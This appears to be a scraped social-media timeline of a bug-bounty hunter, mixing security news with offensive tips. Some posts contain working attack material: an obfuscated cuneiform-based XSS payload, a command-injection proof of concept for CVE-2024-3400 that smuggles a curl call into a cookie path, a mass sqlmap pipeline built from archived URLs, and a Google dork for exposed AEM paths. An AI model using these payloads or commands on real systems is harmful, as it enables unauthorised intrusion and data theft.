Kaio Gomes - KGSA

Ethical Hacking | BugHunter | Developer

[The Hacker News @TheHackersNews]

🚨 Researchers spotted real-world attacks exploiting a Linux flaw (CVE-2025-51591) in Pandoc to target AWS EC2 IMDS and steal IAM creds.

If you’re still on IMDSv1, you’re a sitting duck. Enforce IMDSv2 & sandbox Pandoc.

Details → https://t.co/PXOCtrxNVL

[DARKNAVY @DarkNavyOrg]

Leak hole PoC for Chrome in-the-wild vulnerability CVE-2025-6554 published yesterday:
https://t.co/BYk7k8FAxL

[Dark Web Informer @DarkWebInformer]

CoinMarketCap is hacked... you will get drained!

[NCIIPC India @NCIIPC]

NCIIPC in the pursuit of #Atmanirbhar_Bharat, cyber secured by its own young talent, is bringing the 2nd edition of the national level VAPT challenge - in partnership with AICTE and MoE’s Innovation Cell.
@AICTE_INDIA @mhrd_innovation

Stay tuned for further updates!

[ShanghaiPanda （ Account deactivation） @thinking_panda]

The popular AI agent "Manus" launched in China is automating about 50 tasks, and the scenario is too dystopian.
It's said to be more accurate than DeepSeek.
It can simultaneously perform SNS analysis, financial transactions, research, purchasing, and more.

[c4ng4c3ir0 @c4ng4c3ir0]

Vuln: CSRF Leads do Open Redirect
Reward: $15
dev[.]to: https://t.co/0QCxKZdD7V
Medium: https://t.co/TqGy9cPbJ2
#bolhasec

[Kaio Gomes - KGSA @kg4409]

@c4ng4c3ir0 rapaz, essa aí ficou topzera em

[Brut 🇮🇳 @wtf_yodhha]

📢a XSS payload, Cuneiform-alphabet based ! 𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

#bugbounty #bugbountytips

[vx-underground @vxunderground]

hacking is illegal and for nerds

[Mike Takahashi @TakSec]

Google Dork - Adobe Experience Manager (AEM) 🔍

inurl:/content/usergenerated | inurl:/content/dam | inurl:/jcr:content | inurl:/libs/granite | inurl:/etc/clientlibs | inurl:/content/geometrixx | inurl:/bin/wcm | inurl:/crx/de site:example[.]com

[Bug Bounty Insights 🪄 @bbr_bug]

SQLMap from Waybackurls
waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/\(=[^&]*\)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt | xargs -I{} sqlmap --technique=T --batch -u "{}"

[Hunter @HunterMapping]

🔥POC https://t.co/yCFDZPfqEi

[sw33tLie @sw33tLie]

Just got a P1 reward along with @ArmanSameer95 after identifying a compromised server running a crypto miner on a #bugbounty program. I usually don't tweet about the bugs I find, but I think this is an interesting topic that's often overlooked yet can be rewarding.

[Chirag Artani @Chirag99Artani]

CVE-2024-3400 POC - Proof Of Concept. Tested.
echo "target" | httpx -x POST -path "/ssl-vpn/hipreport.esp" -H "Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}YOURTOKEN`;" -v -t 10 -mc 200

Output from target. curl version -
#paloalto #poc

[Stuux @stux_rs]

CVE-2024-2879 WordPress LayerSlider Plugin - SQL Injection - Nuclei Template:
https://t.co/BgKTRYOwO8

#cve #nucleitemplate #bugbounty #offensivesec

[Reeboot_to_init5 @ReebootToInit5]

Sometimes SQLmap and ghauri both act as dumb tools
I clearly have an SQLi and both tools failed to exploit it 👍

[Cybernetic Research @cybernetic_res]

CRLF Injection Bypass by @sumit_cfe

#BugBounty #bugbountytips

[Luiza @htmluiza]

Python realmente facilita tudo o que se propõe a fazer, né

[Kaio Gomes - KGSA @kg4409]

@stux_rs to a 3 anos esperando um e não respondem KKKKKKKKKKKK

[Stuux @stux_rs]

Se o cara fosse depender dos bounty pendente, o cara passava fome...